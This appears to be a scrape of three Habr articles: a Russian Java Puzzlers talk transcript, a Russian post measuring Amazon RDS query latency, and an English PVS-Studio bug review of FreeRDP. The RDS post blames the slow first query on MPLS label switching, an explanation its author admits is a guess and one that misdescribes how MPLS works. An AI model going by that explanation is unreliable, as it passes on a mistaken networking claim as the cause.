Мы тут в общем-то маппируем банковскую логику на Java Semaphore. В конструкторе Semaphore у нас будет начальный баланс. Мы начинаем в овердрафте -42 и дальше мы маппируем некоторые методы Semaphore на банковские методы. То есть `drainPermits` – это у нас будет «забрать все деньги из банка», а вот `availablePermits` – это будет «проверить баланс».
```
public class PerfectRobbery {
private Semaphore bankAccount = new Semaphore(-42);
public static void main(String[] args) {
PerfectRobbery perfectRobbery = new PerfectRobbery();
perfectRobbery.takeAllMoney();
perfectRobbery.checkBalance();
}
public void takeAllMoney(){
bankAccount.drainPermits();
}
public void checkBalance(){
System.out.println(bankAccount.availablePermits());
}
}
```
И дальше у нас будет некоторая логика. Мы создаем объект `PerfectRobbery` в классе `PerfectRobbery` и вызываем два метода: забрать все деньги из банка и проверить, что мы действительно забрали все деньги.
Как можно создать Semaphore с отрицательным начальным значением? Это прекрасный вопрос, потому что это первый вариант ответа. И кроме него, у меня есть еще три.
A. `IllegalArgumentException` – нельзя создавать семафор с негативным балансом;
B. `UnsupportedOperationException` – можно создать семафор с негативным балансом, но нельзя вызывать на нем drainPermits;
C. 0 – `drainPermits` при негативном балансе оставит ноль пермитов;
D. -42 — `drainPermits` при негативном балансе оставит столько же, сколько было, потому что сливать нечего.
Голосование в аудитории показало, что большинство – за вариант D, а правильный ответ – С.
В документации Java можно найти упоминание о том, что семафор может принимать негативное значение. Кроме этого, там написано, что `drainPermits` возвращает все available permits.
Сколько у нас доступно, когда у нас есть -42 пермита? У нас доступно 0, поэтому Сергей Курсенко открыл багу и сказал: ребята, что-то у вас какая-то ерунда. Drain available permits при -42 должен оставлять -42, потому что available permits 0. Когда мы сольем 0 из -42, будет -42.
Но не тут-то было, потому что в комменты пришел Даг Ли и сказал: «Я так хочу! И поэтому я «пофиксю это», добавив строчку в Javadoc».
Java-паззлер №2: синглтоны
--------------------------
Пойдем дальше. Маленький совет от нас: не создавайте синглтоны, лучше пейте синглтоны.
Давайте посмотрим Java 7. Вы можете создавать там пустые списки с помощью `emptyList` и пустые итераторы с помощью `emptyIterator`.
```
Collections.emptyList() == Collections.emptyList();
Collections.emptyIterator() == Collections.emptyIterator();
```
И вот вопрос: а синглтоны ли они? Всегда ли нам возвращается один и тот же объект? У нас есть четыре варианта ответа:
A. true/true – всегда возвращается;
B. true/false – синглтон — только список, а итератор каждый раз разный;
C. false/true – итератор – синглтон, а список каждый раз создается новый;
D. false/false – это вообще не синглтоны.
Голосование в аудитории показало, что большинство – за вариант B, а правильный ответ – A. Тут напрашивается вопрос: а где паззлер? Паззлер будет дальше.
Перейдем к Java 8. В ней появились новые методы, которые нам возвращают пустые штуки: сплиттераторы и стрим.
```
Spliterators.emptySpliterator() == Spliterators.emptySpliterator();
Stream.empty() == Stream.empty();
```
И давайте повторим вопрос для них:
A. true/true
B. true/false
C. false/true
D. false/false
Голосование в аудитории показало, что большинство – за вариант D, а правильный ответ – B. Сплиттератор может быть синглтоном, потому что у него нет состояния: пустой сплиттератор вы можете сколько угодно раз пытаться обойти, он скажет, что обойти нечего. Однако стрим имеет состояние, и оно состоит как минимум из двух вещей: во-первых, на стрим вы можете вешать `closeHandler`-ы. Представьте, что если бы это был синглтон, вы бы в одном месте повесили на него один хендлер, а в другом – другой, и неизвестно, что у вас после этого получится. Конечно, каждый пустой стрим должен быть свободный, независимый. Во-вторых, стрим должен быть использован только один раз. Если стрим используется повторно, то он определяет это и кидает `IllegalStateException`.
Java-паззлер №3: одинаковые списки
----------------------------------
В следующем паззлере мы используем слово «одинаковые» в несколько странном смысле. Одинаковые – это такие же по состоянию внутренней структуры. Это не значит, что они равны по `equals` или у них hashcode одинаковый, и не значит, что они имеют отношение к проверке референсов.
Мы создаем массив из двух списков. В Java 8 появился метод `setAll`, который позволяет сразу его весь заполнить. Мы его заполняем с помощью конструктора `ArrayList`. Получим массив, состоящий из двух списков:
```
List[] twins = new List[2];
Arrays.setAll(twins, ArrayList::new);
```
Вопрос: какие списки там будут? Варианты ответа:
A. Одинаковые пустые списки
B. Одинаковые не пустые списки
C. Не одинаковые пустые списки
D. Не одинаковые не пустые списки
Голосование в аудитории показало, что большинство – за вариант A, а правильный ответ – C.
Во-первых, `setAll` принимает не `supplier`, а `inputInt Function`, которая ему на вход передается индекс массива и, соответственно, этот индекс массива аргументом. Он автоматически меппится на конструктор `ArrayList` не от пустого аргумента, а от `initialCapacity`. То есть этот индекс, который передается там, нигде не прописан и не виден. И это прямо какой-то Groovy: мы что-то пишем, и у нас что-то выполняется, а мы не знаем, что.
Кстати, мы можем вылететь на `OutOfMemory` благодаря этому. Если бы мы создали массив на 100 тысяч, у нас были бы списки, в которых внутри были бы предопределенные массивы тоже на 100 тысяч.
Java-паззлер №4: Single Abstract Method
---------------------------------------
Давайте попробуем создать функциональный интерфейс. Сначала создадим просто интерфейс, но засунем в него четыре метода, три из них будут абстрактные. А потом от него наследуем другой интерфейс и сделаем его функциональным. Скомпилируется ли?
```
public interface Сэм {
default void расширятьНато(String новаяСтрана) {
System.out.println(новаяСтрана); }
void расширятьНато(T songName);
void захватыватьНефть(T новаяСтрана);
void захватыватьНефть(String новаяСтрана);
}
@FunctionalInterface
public interface ДядяСэм extends Сэм { }
```
Вот варианты ответов:
A. Что за ерунда?! ’Single’ означает один метод, не три!
B. Проблема с методом `расширятьНато(T)`, если его убрать, все ОК
C. Проблема с методами `захватыватьНефть`, если убрать один, то все
будет ОК.
D. Все путем! Дубликаты схлопываются, и мы остаемся с одним `захватыватьНефть`.
Голосование в аудитории показало, что большинство – за вариант D, а правильный ответ – B. Дело в том, что метод, который не реализован (`расширятьНато`), не перекрывается дефолтной реализацией, и компилятор не может решить, что использовать. Это написано в документации: вы можете унаследовать из интерфейса несколько абстрактных методов с override-equivalent signatures. Когда мы определили, что Т – это стринг, два метода схлопнулись, это хорошо. Но если интерфейс наследует дефолтный метод, и его сигнатура override-equivalent абстрактному методу, это ошибка компиляции потому что возникает неоднозначность: хотим мы использовать дефолтную реализацию или нет.
*Скриншот из Java Language Specification*
Java-паззлер №5: Как хакнуть банк. Вторая версия
------------------------------------------------
Весь банковский софт написан на Java. Альфа-банк – это Java, Deutsche Bank – это Java, Сбербанк – это Java. Все банки пишут на Java, значит, атака на Java, в ней много дыр, ее легко хакнуть, потом найти самые крупные счета и снять с них деньги.
```
Set accounts =
new HashSet<>(Arrays.asList("Gates", "Buffett", "Bezos", "Zuckerberg"));
System.out.println("accounts= " + accounts);
```
Давайте соберем их в сет и распечатаем. Интересно, мы увидим их в том же самом порядке, в котором мы их завели?
A. Порядок объявления сохраняется
B. Порядок неизвестен, но сохраняется между запусками
C. Порядок неизвестен и меняется при каждом перезапуске JVM
D. Порядок неизвестен и меняется при каждой распечатке
Голосование в аудитории показало, что большинство – за вариант B, и это правильный ответ. Все прекрасно знают, что внутри хешсета – хешмеп, а в хешмепе – ключи.
С этим надо что-то делать! Поэтому мы переходим на Early Access Release Java 9 (банки всегда так делают, они используют все самое свежее). И тут все становится интереснее, так как тут появился метод `Set.of`, благодаря чему вместо всего этого длинного можно написать коротко.
```
Set accounts = Set.of("Gates", "Buffett", "Bezos", "Zuckerberg");
System.out.println("accounts= " + accounts);
```
Вопрос остается таким же: если собрать в сет и распечатать, мы увидим счета в том же самом порядке, в котором мы их завели?
A. Порядок объявления сохраняется
B. Порядок неизвестен, но сохраняется между запусками
C. Порядок неизвестен и меняется при каждом перезапуске JVM
D. Порядок неизвестен и меняется при каждой распечатке
Голосование в аудитории показало, что большинство – за вариант С, и это правильный ответ. У нас есть доказательство. Мы можем воспользоваться новой замечательной штукой, которая появилась в девятой Java и называется `JShell`. Мы засовываем этот код, получаем какой-то порядок, повторяем, получаем другой порядок, повторяем, получаем третий порядок. Как это работает?
Это сделано специально. Вот таким образом вычисляется элемент таблицы по хеш-коду в этом самом `Set.of`:
```
private int probe(Object pe) {
int idx = Math.floorMod(pe.hashCode() ^ SALT, elements.length);
while (true) {
E ee = elements[idx];
if (ee == null) {
return -idx - 1;
} else if (pe.equals(ee)) {
return idx;
} else if (++idx == elements.length) {
idx = 0;
}
}
}
```
Видите, что там есть хеш-код `^ SALT`, а SALT – это статическое поле, которое при запуске JVM инициализируется случайным числом. Это сделано специально, потому что слишком много людей закладывались на порядок хеш-сета, когда он не был определен и когда в документации черным по белому было написано: «не закладывайтесь на него». Поэтому было сделано так, что при попытке заложиться, вы просто перезапустите JVM, и это больше не сработает. Вы просто не сможете на это заложиться. Хотя тут есть опасность: некоторые могут заложиться, что эта штука работает случайно.
Java-паззлер №6: Jigsaw
-----------------------
Есть несколько утверждений про `Jigsaw`. Попробуйте угадать, какое из них правильное:
A. Если сделать приложение jigsaw модулем, зависимости в `classpath` будут подгружаться корректно
B. Если одна из зависимостей – jigsaw модуль, то обязательно прописать файл `module-info`
C. Если вы прописали файл module-info, то все зависимости придется прописать дважды, в `classpath` и в `module-info`
D. Никакое не верно
Правильный ответ – C. Конечно же, вам придется все прописывать дважды. Хорошие новости в том, что `Gradle` и `Maven` будут генерировать оба этих компонента для вас: и правильный `classpath`, и правильный `module-info`, поэтому вам не придется делать это ручками. Но если вы не работаете с этими инструментами, вам придется делать это два раза, хотя есть нюанс. Вы можете использовать флажок `module-path`, и там есть свой паззлер, но про него в следующий раз.
Java-паззлер №7: Неудержимые 2
==============================
У нас есть коллекция Неудержимых, и мы их всех хотим уничтожить. Уничтожать будем так: возьмем итератор и вызовем у него метод `forEachRemaining`. И для каждого элемента будем делать такую вещь: если там есть следующая запись, то мы передвигаемся и уничтожаем (и это все внутри `forEachRemaining`).
```
static void killThemAll(Collection expendables) {
Iterator heroes = expendables.iterator();
heroes.forEachRemaining(e -> {
if (heroes.hasNext()) {
heroes.next();
heroes.remove();
}
});
System.out.println(expendables);
}
```
Какие есть варианты?
A. Все умерли
B. Только четные умерли
C. Все выжили
D. Только нечетные умерли
E. Все ответы верны
Правильный ответ – E. Это undefined behavior. Сюда можно попробовать подать разные коллекции, и если попробовать это сделать, мы получим разные результаты.
Если мы сюда подадим `ArrayList`, то мы получим, что все умерли.
```
killThemAll(new ArrayList(Arrays.asList("N","S","W","S","L","S","L","V")));
[]<
/source>
Если мы сюда подадим `LinkedList`, то мы получим, что четные умерли
killThemAll(new LinkedList(Arrays.asList("N","S","W","S","L","S","L","V")));
[S,S,S,V]
```
Если мы сюда подадим `ArrayDeque`, то все останутся живы, и никаких исключений.
```
killThemAll(new ArrayDeque(Arrays.asList("N","S","W","S","L","S","L","V")));
[N,S,W,S,L,S,L,V]
```
А если мы сюда подадим `TreeSet`, то, наоборот, умрут нечетные.
```
killThemAll(new TreeSet(Arrays.asList("N","S","W","S","L","S","L","V")));
[N,W,L,L]
```
Поэтому никогда! Никогда так не делайте! На самом деле это получилось случайно — просто потому, что никто не думал, что кто-то так будет делать. Когда мы сообщили об этом в Oracle, они сделали что? Правильно, «пофиксили эту проблему», написав об этом в документации:
Java-паззлер №8: Незаметная разница
-----------------------------------
Хотим создать оригинальный, настоящий Adidas в виде предиката, который будет проверять, что это действительно Adidas. Мы создаем функциональный интерфейс, параметризуем его каким-то типом T и, соответственно, реализуем его в виде Лямбды или в виде `methodRef`:
```
@FunctionalInterface
public interface OriginalPredicate {
boolean test(T t);
}
OriginalPredicate lambda = (Object obj) -> "adidas".equals(obj);
OriginalPredicate methodRef = "adidas"::equals;
```
Вопрос: скомпилируется это все или нет?
A. Оба скомпилируются
B. Ламбда скомпилируется, ссылка на метод – нет
C. Ссылка на метод скомпилируется, лямбда – нет
D. Не функциональный интерфейс!
Правильный ответ – A, тут фактически вообще нет паззлера. Но давайте сделаем функциональный интерфейс made in china.
```
@FunctionalInterface
public interface CopyCatPredicate {
boolean test(T t);
}
CopyCatPredicate lambda = (Object obj) -> "adadas".equals(obj);
CopyCatPredicate methodRef = "adadas"::equals;
```
В чем отличие от предыдущего кода? Кроме adadas, мы перенесли generic из самого интерфейса в метод, и теперь у нас не класс generic, а метод generic. Можем ли мы создать функциональный интерфейс generic-методом?
A. Оба скомпилируются
B. Ламбда скомпилируется, ссылка на метод –нет
C. Ссылка на метод скомпилируется, лямбда –нет
D. Не функциональный интерфейс!
Правильный ответ – С. Вас предупреждали – метод лучше. Лямбда не может реализовывать generic метод. В Лямбде мы передаем параметр, мы должны указать ему тип. Даже если мы не укажем, он должен какой-то вывестись, но чтобы он вывелся, у нас должна быть generic-переменная. То есть там нужно сделать generic-лямбду, где-то в угловых скобочках написать T или не T (мы можем другую букву использовать). Но такого синтаксиса нет, не придумали и тогда решили, что, мол, давайте, ладно, но для Лямбды это работать не будет.
```
@FunctionalInterface
public interface CopyCatPredicate {
boolean test(T t);
}
CopyCatPredicate lambda = (Object obj) -> "adadas".equals(obj);
```
А с метод-референсами все нормально, там такой проблемы не возникает. Поэтому опять же, если у нас что-то не получается, нужно дописать документацию.
Java-паззлер №9: на какую конференцию сходить?
----------------------------------------------
Вы хотите сходить на конференцию, конференций много. Вы хотите их отфильтровать, загоняете в `TreeSet` и, соответственно, распечатываете результат.
```
List list = Stream.of("Joker", "DotNext", "HolyJS", "HolyJS",
"DotNext", "Joker").sequential()
.filter(new TreeSet<>()::add).collect(Collectors.toList());
System.out.println(list);
```
Что вы получите?
A. Отсортированные и отфильтрованные [DotNext, HolyJS, Joker]
B. Ровно то же, что было в начале [Joker, DotNext, HolyJS, HolyJS, DotNext, Joker]
C. В начальном порядке, но отфильтрованные [Joker, DotNext, HolyJS]
D. Отсортированные, но не отфильтрованные [DotNext, DotNext, HolyJS, HolyJS, Joker, Joker]
Правильный ответ – С. Фильтрация сработает потому что это метод `reference`, и объект `TreeSet` там будет один. Новички думают, что метод `reference` и Лямбда – это почти одно и то же, но это не совсем одно и то же. Если бы мы написали Лямбду, новый `TreeSet` создавался бы каждый раз, а так как это метод reference, он создается один раз перед тем, как мы эту всю фильтрацию делаем, и метод reference к нему привязывается. А ничего не отсортируется потому, что мы не используем то, что в TreeSet как результат, мы всего лишь используем метод `add` как фильтр, который отвечает нам true или false (нужно выкидывать дубликаты или нет). По сути дела, можно было написать просто distinct, и было бы то же самое. Результат этого трисета потом соберется `GarbageCollector`'ом, и никто не знает, что там будет.
Выводы
------
Java становится все лучше, и способов выстрелить себе в ногу становится намного больше. Поэтому вот парочка советов:
* Пишите читаемый код.
* Комментируйте все трюки, если не можете удержаться.
* Иногда даже в Java бывают баги, которые ставят вас в тупик.
* Статические анализаторы кода рулят! Используйте IntelliJ IDEA.
* Поскольку все баги чинятся добавлением строчек в документацию, документацию надо знать.
* Не болейте стримозом. Кстати, в самой новой IDEA вы можете превратить стрим в цикл, если он вам надоел.
Если вы наткнулись на паззлер, присылайте его на puzzlers@jfrog.com, с удовольствием проведем третий сезон на одной из следующих конференций. В обмен на ценный экземпляр мы вышлем вам фирменную футболочку.
---
Если вы любите смаковать все детали разработки на Java так же, как и мы, наверняка вам будут интересны вот эти доклады на нашей апрельской конференции [JPoint 2018](https://jpoint.ru/):
* [Linux container performance tools for JVM applications](https://jpoint.ru/talks/1bvhc9jbruimqwks4uqaeu/) (Sasha Goldshtein, Sela Group)
* [Анализ программ: как понять, что ты хороший программист](https://jpoint.ru/talks/1qghn5o70siuweuqeesuoa/) (Алексей Кудрявцев, JetBrains)
* [Типовые проблемы разработки ПО в больших проектах](https://jpoint.ru/talks/4cofbdo22ic4m2ao02kyaa/) (Рустам Мехмандаров, Computas AS) | https://habr.com/ru/post/352438/ | null | ru | null |
# Об облаках Amazon и транспорте MPLS
В ходе разработки одного проекта на базе облачных услуг Amazon пришлось столкнуться с одной проблемой, описания которой в открытом доступе найти не удалось — значительные задержки при обращении к сервису Amazon RDS. Однако помочь разобраться с ней мне помогли знания в технологиях передачи данных, которые я получил в ходе работы в одном отраслевом НИИ.
Итак, сначала диагноз больного. Разрабатывается ИТ-система с клиентским приложением. Система представляет собой сервер, который размещается в облаке Amazon в виде сервиса EC2. Этот сервер взаимодействует с базой MySQL, которая стоит в том же регионе (US-west) на сервисе RDS (Relational Database Service). С сервером взаимодействует мобильное приложение, которое через сервер регистрируется, и загружает некоторые данные. В ходе работы этого приложения часто наблюдаются ошибки связи, на которые приложение выводит popup со словами Connection Error. При этом пользователи жалуются на медленную работу приложения. Такая ситуация возникает у пользователей и в США и в России.
Перенос всей системы на независимый хостинг (самый обычный, дешевый) привел к заметно более шустрой работе приложения, и отсутствию задержек Amazon RDS. Поиск по разным форумам ответа о причинах такого поведения не дал.
Для сбора временных характеристик процесса взаимодействия приложения с сервером и базой данных был написан скрипт, который делал запрос в базу данных MySQL 10 раз подряд. Чтобы исключить ситуацию кеширования запроса, в запрос была добавлена инструкция SQL\_NO\_CACHE. При этом база данных не кеширует такой запрос SELECT. Запрос и измерение его продолжительности осуществляется следующей функцией, которая меряет продолжительность транзакции с учетом сетевой задержки.
```
function query_execute ($link)
{
$time = microtime (true);
$res = mysqli_query ($link, «SELECT SQL_NO_CACHE ui.* FROM `user_item_id` ui INNER JOIN `users` u ON u.`user_id`=ui.`user_id` WHERE u.`username`='any@user.com';»);
return array («rows» => mysqli_num_rows ($res), «time» => sprintf («%4f», microtime (true) — $time));
}
```
Этот скрипт был загружен на российский хостинг, и запущен. Результат получился такой (скрипт — Россия, СУБД — Amazon RDS, Калифорния).
> Start time to aws measure
>
> rows: 10, duration: 2.659313
>
> rows: 10, duration: 0.594934
>
> rows: 10, duration: 0.595982
>
> rows: 10, duration: 0.594558
>
> rows: 10, duration: 0.397052
>
> rows: 10, duration: 0.399988
>
> rows: 10, duration: 0.399615
>
> rows: 10, duration: 0.396856
>
> rows: 10, duration: 0.399138
>
> rows: 10, duration: 0.396113
>
> — Average duration: 0.6833549
Для сравнения — тоже самое, но с другой хостинговой площадки — во Франции (скрипт — Франция, СУБД — Amazon RDS, Калифорния).
> Start time to aws measure
>
> rows: 14, duration: 1.980444
>
> rows: 14, duration: 0.472865
>
> rows: 14, duration: 0.318233
>
> rows: 14, duration: 0.417172
>
> rows: 14, duration: 0.342588
>
> rows: 14, duration: 0.303614
>
> rows: 14, duration: 0.908241
>
> rows: 14, duration: 1.809397
>
> rows: 14, duration: 0.497458
>
> rows: 14, duration: 0.316923
>
> — Average duration: 0.7366935
>
>
Такая ситуация чрезвычайно удивила, и заставила покопаться в справочной информации о кешировании SQL-запросов. Но все изыскания говорили одно — скрипт написан корректно. Ситуация сложилась интересная. Вроде все понятно, но непонятна самая малость: а) что происходит, и б) как хотя бы сформулировать запрос в саппорт?
Хорошо. Следующий эксперимент — запуск этого скрипта локально, на сервере в том же Amazon дата-центре в Калифорнии. Наверняка серверы физически стоят рядом, и все должно происходить очень быстро. Пробуем (скрипт и СУБД — Amazon AWS, Калифорния).
> Start time to aws measure
>
> rows: 10, duration: 0.024818
>
> rows: 10, duration: 0.009796
>
> rows: 10, duration: 0.006747
>
> rows: 10, duration: 0.005163
>
> rows: 10, duration: 0.007998
>
> rows: 10, duration: 0.006088
>
> rows: 10, duration: 0.009614
>
> rows: 10, duration: 0.007938
>
> rows: 10, duration: 0.008052
>
> rows: 10, duration: 0.007804
>
> — Average duration: 0.0094018
Задержки сильно снизились, но в целом картина прежняя — первый запрос выполняется в разы дольше последующих. И думаю, что именно это причина всех проблем с конечным приложением. Ведь приложение обменивается с сервером информацией «в один запрос», который как раз приходиться на эту самую долгую операцию. Соответственно, именно эта операция и определяет все «тормознутость» приложения.
Чтобы проверить, что же все-таки мешает, база данных была мигрирована с Amazon RDS на отдельный хостинг (самый дешевый). И здесь ждал небольшой сюрприз — равную скорость выполнения первой и последующей транзакций (скрипт — Россия, СУБД — недорогой хостинг в США).
> Start time to linode measure
>
> rows: 10, duration: 0.018506
>
> rows: 10, duration: 0.017285
>
> rows: 10, duration: 0.011917
>
> rows: 10, duration: 0.011928
>
> rows: 10, duration: 0.027923
>
> rows: 10, duration: 0.011141
>
> rows: 10, duration: 0.072708
>
> rows: 10, duration: 0.011934
>
> rows: 10, duration: 0.007816
>
> rows: 10, duration: 0.008045
>
> — Average duration: 0.0199203
Немного отвлекусь — самая лучшая ситуация сложилась, когда на этот слабый, в общем-то хостинг, поставили еще и сам сервер (скрипт и СУБД — один и тот же недорогой хостинг на территории США).
> Start time to linode measure
>
> rows: 10, duration: 0.008159
>
> rows: 10, duration: 0.000344
>
> rows: 10, duration: 0.000317
>
> rows: 10, duration: 0.000309
>
> rows: 10, duration: 0.000269
>
> rows: 10, duration: 0.000282
>
> rows: 10, duration: 0.000260
>
> rows: 10, duration: 0.000263
>
> rows: 10, duration: 0.000303
>
> rows: 10, duration: 0.000297
>
> — Average duration: 0.0010803
Здесь можно заметить похожую ситуацию, но на единицах миллисекунд в действие уже вступают задержки ОС, а не сети. Поэтому не следует обращать на это внимание.
Но вернемся к нашей ситуации. Для чистоты эксперимента сделали еще один тест — запустили скрипт с этого дешевого хостинга на Amazon RDS. Результат — опять долгая первая транзакция (скрипт — хостинг США, СУБД — Amazon RDS, Калифорния).
> Start time to aws measure
>
> rows: 10, duration: 0.098134
>
> rows: 10, duration: 0.016168
>
> rows: 10, duration: 0.011697
>
> rows: 10, duration: 0.007868
>
> rows: 10, duration: 0.008148
>
> rows: 10, duration: 0.010468
>
> rows: 10, duration: 0.033403
>
> rows: 10, duration: 0.011947
>
> rows: 10, duration: 0.012217
>
> rows: 10, duration: 0.008185
>
> — Average duration: 0.0218235
Каких-то аналогов таким странностям ни мне, ни разработчикам в Интернете найти не удалось. Однако тем временем, глядя на эти цифры, у меня стало закладываться смутное подозрение, что ситуация вызвана не настройками ИТ-систем, а особенностью передачи данных в транспортной сети IP, которая связывает дата-центры Amazon.
Изложенные ниже соображения являются только моими предположениями, в которые показанные выше тайминги достаточно логично ложатся. Однако полной уверенности в этом у меня нет, и может быть, причины большой задержки иные, и лежат они на самом плаву. Было бы интересно послушать альтернативные мнения.
Итак, в телекоммуникационном мире в основе всех сетей связи лежит транспортный уровень, образованный протоколом IP. Для передачи пакетов IP через множество промежуточных маршрутизаторов используются, в общем случае, два метода, маршрутизация и коммутация.
Что такое маршрутизауия? Допустим, есть четыре сетеых узла. С первого на второй передан пакет IP. Как определить, куда его направить — на узел 3 или 4? Узел 2 смотрит у себя внутри таблицу маршрутизации, ищет адрес назначения (порт Ethernet), и передает пакет — на рисунке, на узел 4 (с адресом 48.136.23.03).
Минусы этого способа — низкая скорость маршрутизации пакетов по следующим причинам: а) нужно разбирать миллионы пакетов IP и извлекать из них адрес, б) нужно каждый пакет прогонять по базе данных (таблице маршрутизации), где стоит соответствие IP-адреса номеру сетевого интерфейса Ethernet.
В больших сетях, класса операторов Tier 1 это требует просто неимоверных ресурсов процессора и все равно каждый маршрутизатор вносит задержку.
Чтобы это избежать, была придумана технология MPLS (Multiprotocol Label Switching). В простонаречии — коммуатия пакетов. Как она работает? Допустим, началась передача первого пакета. На узле 1, поверх IP-адреса, к пакету добавили метку (label). Метка — это 4-х байтное целое число, которое легко и быстро обрабатывается процессорами. Такой пакет попал на узел 2. Узел 2 по таблице маршрутизации определяет описанным выше способом, что его надо отправить на узел 3. Одновременно на узле 2 создается таблица, в которой прописывается соответствие метки интерфейсу Eternet, смотрящему в сторону узла 4.
Далее, узел 1 отправляет второй пакет IP, и добавляет к нему ту же метку, что была установлена для первого пакета IP. Когда такой пакет поступит на узел 2, то узел уже не будет обрабатывать IP-адрес и искать его в таблице маршрутизации. Он сразу извлечет метку, и проверит — есть ли для нее выходной интерфейс.
Фактически, за счет построения таких таблиц коммутации на каждом промежуточном узле выстраивается «туннель» по которому осуществляется дальнейшая передача данных, без использования таблиц маршрутизации.
Плюсы этого метода — существенное сокращение сетевой задержки.
А теперь главное…
Минус — первые пакеты передаются методом маршрутизации, выстраивая за собой «туннель» из меток, и только следующие пакеты уже передаются быстро. Именно эту картину мы и наблюдаем выше. Вряд ли у дешевого хостера стоит оборудование MPLS. Как результат — мы видим одинаковую продолжительность выполнения первого и последующего запросов. А вот в Amazon, похоже, как раз и проявляется работа протокола MPLS — посылка первого запроса занимает в 3-5 раз больше времени, чем последующих.
Думаю, именно в этом лежит причина неустойчивого и долгого взаимодействия приложения с базой данных. Хотя, если бы обмен с базой данных был более интенсивный, то скорее всего, через 3-4 запроса, Amazon обогнал бы дешевый хостинг. Парадоксально, что технология, призванная значительно ускорить передачу данных, в моем конкретном случае приводит к неустойчивой работе системы в целом.
Если принять эту версию за рабочую, возникает вопрос — а как же другие? Ведь работают же на Amazon крупные клиенты, социальные сети, и таких проблем не испытывают. Справедливый вопрос, точного ответа на который у меня нет. Однако есть некоторые сображения.
* Приложение, о котором я пишу, сейчас является версией 1.0. Скорее всего, а даже наверняка, у нас сейчас имеется неоптимальная структура запросов к базе данных. В будущем она будет оптимизирована, и за счет этого получим выигрыш в скорости. Но сейчас, похоже, одно наложилось на другое.
* Предполагать, что крупные соцсети базируются на Amazon, все-таки странно. Скорее всего, архитектура таких систем географически распределенная, и информация может асинхронно только стекаться в дата-центры Amazon. По крайней мере, трассировка из Москвы Facebook показывает конечной точкой ирландский сервер, Твиттер — какую-то свою площадку, Pinterest — на сети Telia и так далее.
* Между крупными узлами социальных сетей, скорее всего, предустановлены статические маршруты.
В любом случае, другого объяснения сложившейся ситуации у меня нет.
А решение — есть. Три недели назад система была мигрирована на канадские выделенные серверы хостинг-провайдера OVH. На этом проблема решилась: все заработало заметно быстрее и Connection Error больше никто не видел. | https://habr.com/ru/post/175023/ | null | ru | null |
# Checking FreeRDP with PVS-Studio
FreeRDP is an open-source implementation of the Remote Desktop Protocol (RDP), a proprietary protocol by Microsoft. The project supports multiple platforms, including Windows, Linux, macOS, and even iOS and Android. We chose it to be the first project analyzed with the static code analyzer PVS-Studio for a series of articles about the checks of RDP-clients.
Some history
------------
The [FreeRDP](http://www.freerdp.com/) project was started after Microsoft opened up the specifications for their proprietary protocol RDP. At that moment, a client called rdesktop was already in use, based mostly on work of reverse engineering.
As they were implementing the protocol, the developers found it difficult to add new functionality because of architectural issues. Changes to the architecture entailed a conflict between the developers and led to creating a fork of rdesktop known as FreeRDP. Further distribution was limited by the GPLv2 license, and the authors decided to relicense to Apache License v2. However, some were unwilling to change the license, so the developers decided to rewrite the code base from scratch and that's how the project as we know it today came into existence.
The complete history of the project is available on the official blog: "[The history of the FreeRDP project](http://www.freerdp.com/2019/01/16/hi-freerdp-history)".
I used [PVS-Studio](https://www.viva64.com/en/pvs-studio/) to scan the project for bugs and potential vulnerabilities. PVS-Studio is a static analyzer for code written in C, C++, C#, and Java and runs on Windows, Linux, and macOS.
Note that I'll be discussing only the bugs that looked most interesting to me.
Memory leak
-----------
[V773](https://www.viva64.com/en/w/v773/) The function was exited without releasing the 'cwd' pointer. A memory leak is possible. environment.c 84
```
DWORD GetCurrentDirectoryA(DWORD nBufferLength, LPSTR lpBuffer)
{
char* cwd;
....
cwd = getcwd(NULL, 0);
....
if (lpBuffer == NULL)
{
free(cwd);
return 0;
}
if ((length + 1) > nBufferLength)
{
free(cwd);
return (DWORD) (length + 1);
}
memcpy(lpBuffer, cwd, length + 1);
return length;
....
}
```
This snippet comes from the winpr subsystem, which implements a WINAPI wrapper for non-Windows systems, i.e. acts as a lighter equivalent of Wine. The code above contains a memory leak: the memory allocated by the *getcwd* function is released only in special-case branches. To fix this, the authors should add a call to *free* after the call to *memcpy*.
Array index out of bounds
-------------------------
[V557](https://www.viva64.com/en/w/v557/) Array overrun is possible. The value of 'event->EventHandlerCount' index could reach 32. PubSub.c 117
```
#define MAX_EVENT_HANDLERS 32
struct _wEventType
{
....
int EventHandlerCount;
pEventHandler EventHandlers[MAX_EVENT_HANDLERS];
};
int PubSub_Subscribe(wPubSub* pubSub, const char* EventName,
pEventHandler EventHandler)
{
....
if (event->EventHandlerCount <= MAX_EVENT_HANDLERS)
{
event->EventHandlers[event->EventHandlerCount] = EventHandler;
event->EventHandlerCount++;
}
....
}
```
In this example, a new element will be added to the list even when the latter has already reached the maximum number of elements. This bug can be fixed by simply replacing the *<=* operator with *<*.
The analyzer found another bug of this type:
* V557 Array overrun is possible. The value of 'iBitmapFormat' index could reach 8. orders.c 2623
Typos
-----
### Snippet 1
[V547](https://www.viva64.com/en/w/v547/) Expression '!pipe->In' is always false. MessagePipe.c 63
```
wMessagePipe* MessagePipe_New()
{
....
pipe->In = MessageQueue_New(NULL);
if (!pipe->In)
goto error_in;
pipe->Out = MessageQueue_New(NULL);
if (!pipe->In) // <=
goto error_out;
....
```
}
What we see here is an ordinary typo: both the first and second conditions check the same variable. It looks much like a product of bad copy-paste.
### Snippet 2
[V760](https://www.viva64.com/en/w/v760/) Two identical blocks of text were found. The second block begins from line 771. tsg.c 770
```
typedef struct _TSG_PACKET_VERSIONCAPS
{
....
UINT16 majorVersion;
UINT16 minorVersion;
....
} TSG_PACKET_VERSIONCAPS, *PTSG_PACKET_VERSIONCAPS;
static BOOL TsProxyCreateTunnelReadResponse(....)
{
....
PTSG_PACKET_VERSIONCAPS versionCaps = NULL;
....
/* MajorVersion (2 bytes) */
Stream_Read_UINT16(pdu->s, versionCaps->majorVersion);
/* MinorVersion (2 bytes) */
Stream_Read_UINT16(pdu->s, versionCaps->majorVersion);
....
}
```
Another typo: the comment says we should expect the *minorVersion* variable to be read from the stream, while the value is read into the variable *majorVersion*. I'm not familiar with the project well enough to tell for sure, though.
### Snippet 3
[V524](https://www.viva64.com/en/w/v524/) It is odd that the body of 'trio\_index\_last' function is fully equivalent to the body of 'trio\_index' function. triostr.c 933
```
/**
Find first occurrence of a character in a string.
....
*/
TRIO_PUBLIC_STRING char *
trio_index
TRIO_ARGS2((string, character),
TRIO_CONST char *string,
int character)
{
assert(string);
return strchr(string, character);
}
/**
Find last occurrence of a character in a string.
....
*/
TRIO_PUBLIC_STRING char *
trio_index_last
TRIO_ARGS2((string, character),
